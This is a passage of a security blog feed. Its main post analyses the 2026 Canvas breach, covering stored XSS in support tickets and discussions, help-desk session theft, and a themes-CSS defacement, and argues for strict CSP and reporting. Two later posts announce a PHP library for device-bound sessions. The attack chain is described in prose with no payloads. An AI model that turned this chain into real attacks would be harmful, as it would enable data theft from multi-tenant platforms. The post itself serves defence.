~300-account defacement scope. The data categories exposed are also confirmed.</p><p><strong>What I am inferring</strong>, and what you should treat as my reading rather than disclosed fact: the <em>exact</em> nature of the \"linked file\" payload (Instructure has not said whether it was an HTML attachment, an SVG, a document previewer exploit, or something else); the architectural claim that the help-desk rep's session had cross-tenant API reach (I feel this is the most plausible explanation for how a single rep's session led to data exfiltration across 8,809 institutions, but Instructure has not described their internal session model publicly that I can find); the specific privilege level the second XSS achieved; and obviously every claim I make about what a CSP would or wouldn't have stopped, which is an analytical argument rather than a counterfactual we can actually run. If you do happen to have the malicious payload, please let me know.</p><p>Where I speculate, I'll flag it and make it clear. Where I state something as fact, it's from the sources you can find at the end of the post. Now, let's dig in.</p><p></p><h3 id=\"how-did-the-canvas-breach-actually-happen\">How did the Canvas breach actually happen?</h3><p>Instructure has since done a customer webinar with their Chief Architect Zach Pendleton, their CISO Steve Proud, and CrowdStrike's Head of Incident Response James Perry. Between that, their incident update page, and Phil Hill's coverage at On EdTech, here's the timeline I can put together:</p><p></p><table>\n<thead>\n<tr>\n<th>Date</th>\n<th>Event</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>22 Apr 2026</strong></td>\n<td>A Free-for-Teacher user opens a Canvas support ticket containing, in Instructure's own phrasing, <em>\"a linked file with hidden code.\"</em> In plain English: a stored XSS payload, delivered as a file rather than as inline HTML.</td>\n</tr>\n<tr>\n<td><strong>25 Apr 2026</strong></td>\n<td>A Canvas customer-service representative opens the ticket. The payload fires <em>\"in the rep's authenticated session.\"</em></td>\n</tr>\n<tr>\n<td><strong>28–30 Apr 2026</strong></td>\n<td>The attacker uses that session to call Canvas's APIs and exfiltrate usernames, email addresses, course names, enrolment information and in-product messages.</td>\n</tr>\n<tr>\n<td><strong>29 Apr 2026</strong></td>\n<td>Instructure detects the activity. Access revoked by 30 April.</td>\n</tr>\n<tr>\n<td><strong>7 May 2026</strong></td>\n<td>A <em>second</em>, separate stored XSS — this one in the Canvas discussion feature, exploited via a different code path — is used to push a malicious CSS file through Canvas's \"custom themes\" feature, deploying a ransom note onto the login portals of roughly 300 schools.</td>\n</tr>\n<tr>\n<td><strong>7 May 2026, PM</strong></td>\n<td>Canvas is taken offline mid-finals.</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>That's the whole chain. Two separate stored XSS bugs, one privileged session, one cross-tenant API surface, and one feature working as designed (custom themes) used as the final defacement primitive. ShinyHunters claim 3.65 TB of data and 8,809 institutions affected. Instructure reportedly settled.</p><p></p><h3 id=\"how-did-the-support-ticket-become-an-xss-vector\">How did the support ticket become an XSS vector?</h3><p>This is the part that I think most people are missing in their coverage: the original vector was an XSS attack. Having an XSS vulnerability in your application is going to be bad even in the best of scenarios, but a help-desk ticketing system with an XSS vulnerability introduces some extra concerns.</p><p></p><ol><li><strong>The input is untrusted by definition.</strong> Anybody can open a ticket. In Canvas's case, anybody could open a <em>Free-for-Teacher</em> account — no institutional verification, no payment, no identity — and then open a ticket from inside that account.</li><li><strong>The output is rendered in a privileged context.</strong> Support reps look at tickets all day, every day, in internal tooling that almost always has authenticated sessions to backend admin systems.</li><li><strong>Those sessions are usually wider than any single customer.</strong> A customer-service rep needs to look at <em>anybody's</em> tickets, so their session typically carries authority across the estate — every tenant, every paying institution, every API. I want to flag that I'm inferring this part about Canvas specifically; Instructure has not publicly described the scope of their help-desk session model. But the outcome — a single rep's session leading to data exfiltration across thousands of institutions — I feel is difficult to explain any other way.</li></ol><p></p><p>Combine those three and what you have is a cross-tenant privilege escalation primitive disguised as a help-desk form. The user is unauthenticated to your paying customers' data; the rep who opens their ticket is authenticated to (probably) all of it. The XSS vulnerability is the bridge.</p><p>We don't know exactly what the <em>\"linked file with hidden code\"</em> was. It feels like the phrasing is deliberately vague, and what follows is my own speculation, rather than disclosed fact. To my reading, it implies the payload wasn't simply HTML or JavaScript pasted into the ticket body — which would have hit Canvas's existing HTML sanitiser, <code>canvas_sanitize</code>. It was a file. Plausible candidates, in no particular order:</p><p></p><ul><li>An HTML or SVG file attachment, rendered inline in the ticket viewer without a sandboxed iframe.</li><li>A linked URL whose contents got fetched and rendered as a preview by the help-desk UI.</li><li>A document attachment processed by a previewer (Canvas uses Canvadocs / DocViewer for inline document previews; this code path has had CVEs before).</li></ul><p></p><p>I want to be honest that this is informed guesswork. Instructure may yet publish more detail, and if they do I'll happily come back and correct this section. But whether it was one of these options or something else entirely, the lesson is the same and it's an old one: never render untrusted content in the same origin as your privileged tooling. If you absolutely must preview attachments inline, do it from a sandboxed origin that has no cookies for anything important. Document previewers, in particular, should live on a <code>usercontent.example.com</code>-style cookieless sibling domain, exactly the way Google Docs, GitHub user content or other SaaS products handle user-uploaded files.</p><p></p><h3 id=\"how-did-the-second-xss-lead-to-the-login-portal-defacement\">How did the second XSS lead to the login portal defacement?</h3><p>After Instructure plugged the support-ticket hole on April 30, ShinyHunters came back through a fresh XSS — this one in the discussion feature, which is exactly the user-generated-content surface you'd worry about in an LMS. Discussions in Canvas accept rich text, math equations, embedded media, and a long tail of the kind of HTML constructs that make sanitiser writers cry.</p><p>That, presumably, gave them administrator-level access again — Instructure hasn't spelled out exactly which privilege level the second XSS reached, but the subsequent abuse of an admin-only feature is consistent with admin sessions. Once they had that access, they didn't need another vulnerability for the defacement — they used the platform's intended administrator feature, \"custom themes,\" to push a malicious CSS file out to login pages.</p><p>This is worth pausing on. The defacement itself was not exploiting a bug. It was exploiting a <em>feature</em> — one that exists because institutions want to brand their login pages. Once an attacker has admin-tier access, they have legitimate access to the customisation primitive. The XSS was just the route to admin.</p><p>So when we read that Canvas \"pushed a CSS file through the custom themes feature,\" what's actually happening is: stored XSS in discussions → privileged session theft → legitimate themes API call → CSS deployed to ~300 login portals → ransom note visible to students opening the app during AP exams. The chain looks complicated; each individual step is mundane.</p><p></p><h3 id=\"what-would-csp-have-actually-stopped\">What would CSP have actually stopped?</h3><p>This is the part that matters to me, and I get asked all the time whether CSP \"would have stopped\" some breach or another, and the honest answer is usually \"it depends which part of the breach.\"</p><p>Caveat up front: this entire section is analytical. We don't know what Instructure's CSP posture was on the help-desk UI, the discussion-rendering pages, or the tenant login portals at the time of the incident. The claims below are about what a <em>suitably strict</em> CSP would have done in principle — not a critique of any specific policy Instructure may or may not have had in place. With that flagged, let's go stage by stage.</p><p><strong>Stage one: the support-rep XSS.</strong> A strict, nonce-based CSP on Instructure's internal help-desk UI could very plausibly have broken this stage of the attack chain. The payload was running script — in the rep's authenticated session, which is the textbook thing CSP is designed to prevent. A policy along the lines of:</p><p></p><pre><code>Content-Security-Policy:\n  default-src 'self';\n  script-src 'self' 'nonce-{random}';\n  style-src 'self' 'nonce-{random}';\n  object-src 'none';\n  base-uri 'none';\n  frame-ancestors 'none';\n  report-to csp-endpoint;</code></pre><p></p><p>…with no <code>'unsafe-inline'</code> and no broad allow-listed hosts, leaves attacker-controlled inline script with nowhere to execute. Even if the attacker manages to inject a <code><script></code> tag through the sanitiser, the browser refuses to run it because it doesn't carry the nonce. The session theft never happens. The April 28–30 API pillage never happens. The breach is contained at the door.</p><p><strong>Stage two: the discussion XSS.</strong> Same answer, broadly. A nonce-based <code>script-src</code> on the Canvas app surface that admins use would stop the second XSS reaching script execution in a privileged session. There's a wrinkle here — Canvas explicitly <em>renders user-generated HTML</em>, including math equations via MathJax, embedded media, and the rest — so a strict CSP for the student-facing rendering of discussions is genuinely hard. But for the <em>admin-facing</em> rendering of discussions, where session compromise has cross-tenant consequences, the trade-off is straightforward. Admin views of UGC should be sandboxed, protected by CSP, or both.</p><p><strong>Stage three: the themes defacement.</strong> This one is more nuanced. The defacement was delivered as a CSS file via a legitimate administrator feature. CSP's <code>style-src</code> would not necessarily block a CSS file served from the application's own origin, because it was uploaded through the application's own admin tooling and served as a legitimate asset. The ransom <em>banner</em> — whatever inline script or DOM injection it used to render the message — would, however, hit the CSP wall if the policy was strict on <code>script-src</code>.</p><p>So CSP doesn't magically fix architectural mistakes about what privileged features can do. But it does break the chain at the point that matters most: the moment user-controlled script first runs in a privileged session.</p><p></p><h3 id=\"would-sri-have-helped-and-what-about-csp-reporting\">Would SRI have helped? And what about CSP reporting?</h3><p>Some of you are probably already reaching for the keyboard to ask about <a href=\"https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Subresource Integrity</a>. SRI is brilliant when somebody compromises a third-party script CDN you're loading. This wasn't that. The malicious content here was first-party — uploaded into Instructure's own systems, served from Instructure's own origins. SRI was never going to help. This is also a useful distinction from the newer <a href=\"https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Integrity-Policy</a> work: integrity controls are powerful for governing external script loading, but they are not a substitute for isolating user-generated content or preventing first-party XSS.</p><p>What <em>would</em> have helped — and this is the bit I find most painful — is CSP reporting. The Canvas attackers were in the rep's session for roughly four days before detection. Four days, with attacker-controlled script presumably making outbound API calls or fetching attacker resources from somewhere.</p><p>If Instructure had been running CSP in report-only or enforce mode on their help-desk UI, and pointing the reports at an aggregator (yes, like ours), the injection would have announced itself on day one. The loudest signal is the simplest: an injected inline script that doesn't carry the right nonce generates a violation report on every single page load — so from April 25 onwards, the help-desk UI would have been emitting a report every time that ticket was viewed. (Worth being precise here: the data exfiltration itself ran through Canvas's own first-party APIs, which are same-origin and wouldn't trip— CSP only reports violations. But the moment any stolen data was beaconed to attacker infrastructure, that off-origin fetch would have hit the policy and generated a report too.) The signal would have been screaming for four days before anyone looked.</p><p>This is the part of the CSP story that doesn't get told often enough. It isn't <em>just</em> a runtime block. It's a real-time integrity sensor for your application's execution environment. When somebody manages to inject content into pages they shouldn't, your CSP reports tell you in seconds. You don't need to wait for a CrowdStrike engagement and a forensic timeline to learn that something in the help-desk UI executed a script it shouldn't have. The browser, on every page load, is willing and ready to tell you. </p><p>We see this pattern at Report URI constantly. Customers who deploy CSP and pipe the reports somewhere they actually look at them catch injections — sometimes from contractors testing things in production, sometimes from compromised third parties, occasionally from genuine attacks — <em>days</em> or <em>weeks</em> before any other detection layer fires. The cost of getting that signal is the cost of a CSP header and an endpoint to send reports to.</p><p></p><h3 id=\"whats-the-architectural-lesson-from-the-canvas-breach\">What's the architectural lesson from the Canvas breach?</h3><p>If I had to compress this entire incident into one sentence, it would be this: the support ticket is the back door to your admin console, and your admin console is the front door to every customer.</p><p>Free-tier programs are wonderful for adoption. Instructure's Free-for-Teacher was almost certainly responsible for a meaningful chunk of Canvas's eventual institutional uptake — teachers who tried it in a personal capacity, then advocated for it when their districts went shopping. Shutting it down, as Instructure has now done, is a real product loss.</p><p>But Free-for-Teacher sat on shared infrastructure with paying tenants. The trust boundary between \"anonymous member of the public who signed up with a Gmail address ten minutes ago\" and \"regulated student data at 9,000 institutions\" was a sanitiser, a support-ticket renderer, and a session cookie scope. That's a thin boundary to ask three pieces of code to hold up.</p><p>The fix is not to abandon free tiers. The fix is to render untrusted user content in places that <em>don't matter when they get compromised</em>. Cookieless sandbox origins. Sandboxed iframes with no <code>allow-same-origin</code>. Help-desk tooling that doesn't carry production session cookies. Cross-tenant API access that requires re-authentication, not just session presence. And on top of all of it, a CSP that turns \"an attacker just executed script in my admin UI\" from a four-day silent breach into a notification you get before your coffee goes cold.</p><p>Canvas is back online. The students caught up. The data, allegedly, has been destroyed. But the underlying architectural pattern — untrusted user content rendered in privileged origins — is sitting in more SaaS products than I can count. Most of you reading this probably have it in your stack right now.</p><p>The good news is that the defence is cheap. The bad news is that the people who need it most are usually the ones who think it doesn't apply to them.</p><p>Don't be the next case study.</p><p></p><h3 id=\"so-what-should-teams-do-tomorrow\">So what should teams do tomorrow?</h3><p>The uncomfortable lesson here is that this pattern is probably already present somewhere in your own estate. Most SaaS products have places where untrusted user content is rendered for trusted staff: support tickets, file previews, customer messages, admin notes, imports, exports, themes, templates, comments, invoices, logs, or uploaded attachments. The options are plenty, so start by finding those places.</p><p>Ask a simple question for each one: can attacker-controlled content execute in a browser session that has more privilege than the attacker does? If the answer is yes, you have a problem worth fixing quickly.</p><p>The immediate review list is short:</p><p></p><ol><li>Identify every internal or admin surface that renders customer-supplied HTML, Markdown, files, images, SVGs, PDFs, CSS, templates, or rich text.</li><li>Check whether those surfaces share an origin, cookies, or session context with privileged staff tools.</li><li>Move risky rendering to a separate, sandboxed origin with no access to admin cookies or production APIs.</li><li>Apply a strict CSP in enforce mode, not just report-only, especially on support, admin, and moderation tooling.</li><li>Require re-authentication, step-up verification, or explicit approval before staff sessions can perform sensitive cross-tenant actions.</li><li>Review whether support/admin roles have broader API access than they actually need.</li><li>Monitor CSP, failed isolation, and suspicious API activity as production security telemetry, not as passive logs nobody reads.</li></ol><p></p><p>The goal is not just to \"fix XSS\". The goal is to make sure that when XSS inevitably appears somewhere, it cannot jump from a low-privilege customer-controlled surface into a high-privilege employee session with access to everyone’s data.</p><p></p><h4 id=\"sources\">Sources</h4><p>Primary sources from Instructure:<br><a href=\"https://www.instructure.com/incident_update?ref=scotthelme.ghost.io\">Instructure — Security Incident Update & FAQs</a> — the official statement, including the line confirming <em>\"a vulnerability regarding support tickets in our Free for Teacher environment that was exploited.\"</em><br><a href=\"https://www.instructure.com/resources/webinar/technical-deep-dive-recent-security-incident?ref=scotthelme.ghost.io\">Instructure — Customer Webinar: Technical Deep Dive on Recent Security Incident</a> — the May 18–19 webinar with Chief Architect Zach Pendleton, CISO Steve Proud, and CrowdStrike's Head of Incident Response James Perry.</p><p>Phil Hill's coverage at On EdTech, which is the cleanest public summary of what Instructure disclosed in the webinar:<br><a href=\"https://onedtech.philhillaa.com/p/a-technical-deep-dive-is-not-a-crisis-response?ref=scotthelme.ghost.io\">Phil Hill — A Technical Deep Dive Is Not a Crisis Response</a> — the source of the verbatim chain (support ticket on April 22, rep session theft on April 25, API exfiltration April 28–30, second XSS in discussions, themes CSS pivot to ~300 accounts on May 7).<br><a href=\"https://onedtech.philhillaa.com/p/instructure-is-risking-the-trust-that-built-canvas?ref=scotthelme.ghost.io\">Phil Hill — Instructure Is Risking the Trust That Built Canvas</a><br><a href=\"https://onedtech.philhillaa.com/p/one-step-forward-one-step-back-instructure-cyber-attack-2026?ref=scotthelme.ghost.io\">Phil Hill — One Step Forward, One Step Back</a></p><p>Mainstream press coverage of the incident:<br><a href=\"https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io\">BleepingComputer — Instructure confirms hackers used Canvas flaw to deface portals</a><br><a href=\"https://www.bleepingcomputer.com/news/security/canvas-login-portals-hacked-in-mass-shinyhunters-extortion-campaign/?ref=scotthelme.ghost.io\">BleepingComputer — Canvas login portals hacked in mass ShinyHunters extortion campaign</a><br><a href=\"https://www.bleepingcomputer.com/news/security/instructure-reaches-agreement-with-shinyhunters-to-stop-data-leak/?ref=scotthelme.ghost.io\">BleepingComputer — Instructure reaches 'agreement' with ShinyHunters to stop data leak</a><br><a href=\"https://techcrunch.com/2026/05/07/hackers-deface-school-login-pages-after-claiming-another-instructure-hack/?ref=scotthelme.ghost.io\">TechCrunch — Hackers deface school login pages after claiming another Instructure hack</a><br><a href=\"https://www.theregister.com/cyber-crime/2026/05/12/congress-investigates-canvas-breach-after-instructure-cuts-deal-with-shinyhunters/5238927?ref=scotthelme.ghost.io\">The Register — Congress investigates Canvas breach after Instructure cuts deal with ShinyHunters</a><br><a href=\"https://thehackernews.com/2026/05/instructure-reaches-ransom-agreement.html?ref=scotthelme.ghost.io\">The Hacker News — Instructure Reaches Ransom Agreement with ShinyHunters</a><br><a href=\"https://www.malwarebytes.com/blog/news/2026/05/shinyhunters-escalates-canvas-attacks-with-school-login-defacements?ref=scotthelme.ghost.io\">Malwarebytes — ShinyHunters escalates Canvas attacks with school login defacements</a></p><p>Government and regulatory:<br><a href=\"https://fsapartners.ed.gov/knowledge-center/library/electronic-announcements/2026-05-12/technology-security-alert-ongoing-cybersecurity-incident-involving-canvas-learning-management-system?ref=scotthelme.ghost.io\">US Department of Education — Federal Student Aid security alert, May 12 2026</a></p><p>Vendor analysis:<br><a href=\"https://businessinsights.bitdefender.com/technical-advisory-shinyhunters-breach-instructure-canvas-lms?ref=scotthelme.ghost.io\">Bitdefender — Technical Advisory: ShinyHunters Breach of Instructure Canvas LMS</a><br><a href=\"https://www.trendmicro.com/en_us/research/26/e/What-Is-the-Instructure-Canvas-Breach.html?ref=scotthelme.ghost.io\">Trend Micro — What Is the Instructure Canvas Breach?</a><br><a href=\"https://ailearninsights.substack.com/p/what-can-we-infer-from-canvass-technical?ref=scotthelme.ghost.io\">AI Learn Insights — What Can We Infer from Canvas's Technical Deep Dive?</a></p><p>Technical references mentioned in the article:<br><a href=\"https://github.com/instructure/canvas-lms?ref=scotthelme.ghost.io\">Canvas LMS on GitHub</a> — the open-source codebase, including the <code>canvas_sanitize</code> gem responsible for HTML sanitisation.<br><a href=\"https://github.com/instructure/canvas-lms/blob/master/gems/canvas_sanitize/lib/canvas_sanitize/canvas_sanitize.rb?ref=scotthelme.ghost.io\"><code>canvas_sanitize</code> gem source</a> — the allowlist-based HTML sanitiser referenced when discussing the difficulty of inline-HTML injection paths.<br><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2021-36539?ref=scotthelme.ghost.io\">CVE-2021-36539</a> — a prior Canvas vulnerability in the DocViewer / <code>canvadoc_session_url</code> code path, illustrating the document-previewer angle.</p><p>Prior art — historical Canvas XSS research (separate from the 2026 incident, but illustrative of the recurring UGC-rendering pattern):<br><a href=\"https://github.com/andrew-healey/canvas-lms-vuln?ref=scotthelme.ghost.io\">andrew-healey/canvas-lms-vuln</a> — Rich Content Editor XSS via outdated jQuery and a broken image handler.<br><a href=\"https://github.com/andrew-healey/example-canvas-xss-attack?ref=scotthelme.ghost.io\">andrew-healey/example-canvas-xss-attack</a> — MathJax <code>\\phantom{\\unicode{...}}</code> bypass via the math-equation insertion path in discussions, journals and assignments.</p><p>Wikipedia (timeline reference only):<br><a href=\"https://en.wikipedia.org/wiki/2026_Canvas_security_incident?ref=scotthelme.ghost.io\">2026 Canvas security incident — Wikipedia</a></p><p></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "XSS",
              "term": "XSS",
              "url": null
            },
            {
              "label": "CSP",
              "term": "CSP",
              "url": null
            },
            {
              "label": "SRI",
              "term": "SRI",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        },
        {
          "id": "6a244e5d2b2c280001660c90",
          "title": "Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP",
          "description": "<p>We’ve open-sourced <a href=\"https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It's MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"what-is-dbsc\">What is DBSC?</h4><p>If you'd</p>",
          "url": "https://scotthelme.ghost.io/open-sourcing-dbsc-php-a-server-library-for-device-bound-session-credentials-in-php/",
          "published": "2026-06-08T14:00:56.000Z",
          "updated": "2026-06-08T14:00:56.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png\" alt=\"Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP\"><p>We’ve open-sourced <a href=\"https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It's MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png\" class=\"kg-image\" alt=\"Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"what-is-dbsc\">What is DBSC?</h4><p>If you'd like to know more about DBSC, you should start with my blog post <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials: Making Stolen Cookies Useless</a> as that will cover everything you need to know. In short, DBSC lets a browser bind a session cookie to a device-held private key, so a stolen cookie alone is no longer enough to use the session elsewhere.</p><p>Alongside open-sourcing this library for the community, we're also running a <a href=\"https://scotthelme.co.uk/dbsc-beta-at-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">beta of DBSC at Report URI</a> using this very code, so check it out. </p><p></p><h4 id=\"why-we-built-it\">Why we built it</h4><p>We deployed DBSC on Report URI and quickly found that the gap between \"what the spec says\" and \"how do we do that\" is wide enough to fall into. Several behaviours only surface once you're integrating against a real browser, and getting them subtly wrong means enforcement silently does nothing — leaving you with exactly the stolen-cookie hole DBSC exists to close.</p><p>Rather than keep those hard-won corrections to ourselves, we've packaged them up. The library is around 700 lines with zero dependencies beyond <code>ext-openssl</code> and <code>ext-json</code> — small enough to audit in one sitting. The crypto is deliberately minimal: ES256 only, signature plus a single-use challenge nonce.</p><p></p><h4 id=\"what-we-got-wrong-so-you-dont-have-to\">What we got wrong (so you don't have to)</h4><p>The library is useful, but the wire-protocol notes in the README are where a lot of the hard-won implementation value lives. A few of the corrections baked into the library:</p><p></p><ul><li>Registration is single-phase; refresh is two-phase (a 403 with a challenge, then a 200). That's the opposite of how the spec reads at first glance.</li><li>Both the cookie value and the challenge must rotate on every refresh. Re-emit the same cookie value and Chrome decides no refresh happened and terminates<br>the session.</li><li>No <code>Secure-Session-Challenge</code> on the registration response, or Chrome reports a Challenge Error.</li><li><code>challengeTtl</code> must exceed <code>cookieMaxAge</code> so a challenge cached just before cookie expiry is still valid when it's used. The <code>Config</code> constructor enforces this<br>for you.</li></ul><p></p><p>There's also one non-obvious correctness requirement that bit us in production: keep DBSC state in its own dedicated key space, keyed by session id — never inside a read-modify-written shared session blob. We originally stored it in the PHP session, where the post-login navigation races the registration POST, both rewrite the whole blob last-writer-wins, and the binding gets clobbered. Enforcement then silently no-ops. <code>StoreInterface</code> documents the requirement; back it with Redis or a table and you're fine.</p><p></p><h4 id=\"framework-agnostic-by-design\">Framework-agnostic by design</h4><p>The library never touches a superglobal, sends a header, or sets a cookie. Every operation takes a <code>RequestContext</code> you build from your framework's request and returns a <code>DbscResponse</code> you apply to your framework's response. Storage is yours — implement <code>StoreInterface</code> against whatever you already run (an <code>InMemoryStore</code> is bundled for tests and the demo).</p><p></p><pre><code class=\"language-php\">use ReportUri\\Dbsc{Config, DbscServer};\n\n$dbsc = new DbscServer(new Config(cookieName: '__Host-myapp_dbsc'), $myStore);</code></pre><p></p><p>A complete reference front controller lives in <code>_test/server.php</code>, and there's a self-contained test harness that generates a real EC P-256 device key, builds the JWTs exactly as Chrome does, and drives the full register/refresh/enforce/revoke flow plus the attack cases — wrong device key, wrong or expired challenge, stale cookie, <code>alg=none</code>.</p><p></p><h4 id=\"getting-started\">Getting Started</h4><p>DBSC is one of the most meaningful upgrades to session security in years, and the cost of adopting it is genuinely low. If you're running PHP and want to start binding sessions to devices, this should save you a lot of effort. Issues and PRs welcome.</p><p>Packagist: <a href=\"https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">report-uri/dbsc-php</a><br>Source & docs: <a href=\"https://github.com/report-uri/dbsc-php?ref=scotthelme.ghost.io\">https://github.com/report-uri/dbsc-php</a><br>The spec: <a href=\"https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io\" rel=\"noreferrer\">w3c/webappsec-dbsc</a></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "DBSC",
              "term": "DBSC",
              "url": null
            },
            {
              "label": "PHP",
              "term": "PHP",
              "url": null
            }
          ]
        },
        {
          "id": "6a200eb4b5ac0c00013dfa00",
          "title": "DBSC Beta at Report URI",
          "description": "<p>This week, I published a blog post about <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we're announcing the beta of DBSC at Report URI!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.co/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"device-bound-session-credentials\">Device Bound Session Credentials</h4><p>You should definitely</p>",
          "url": "https://scotthelme.ghost.io/dbsc-beta-at-report-uri/",
          "published": "2026-06-05T14:22:22.000Z",
          "updated": "2026-06-05T14:22:22.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png\" alt=\"DBSC Beta at Report URI\"><p>This week, I published a blog post about <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we're announcing the beta of DBSC at Report URI!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.co/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png\" class=\"kg-image\" alt=\"DBSC Beta at Report URI\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"device-bound-session-credentials\">Device Bound Session Credentials</h4><p>You should definitely check out my blog post from yesterday for the full details - <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\">Device Bound Session Credentials: Making Stolen Cookies Useless</a></p><p>The TLDR is that cookies are now bound to the device that they were issued to, so if an attacker is able to steal a cookie from your device, it's no longer possible to session-hijack you and take over your account. This is an increasingly common pattern that we're seeing with recent Infostealer malware strains, and is a change in strategy for attackers as account security surrounding passwords, 2FA and Passkeys continues to improve. </p><p></p><h4 id=\"joining-the-beta\">Joining the Beta</h4><p>As noted in my blog post linked above, DBSC is currently only supported in Chrome on Windows, with macOS coming soon, but if that works for you, you can request to join the current beta.</p><p>Simply drop 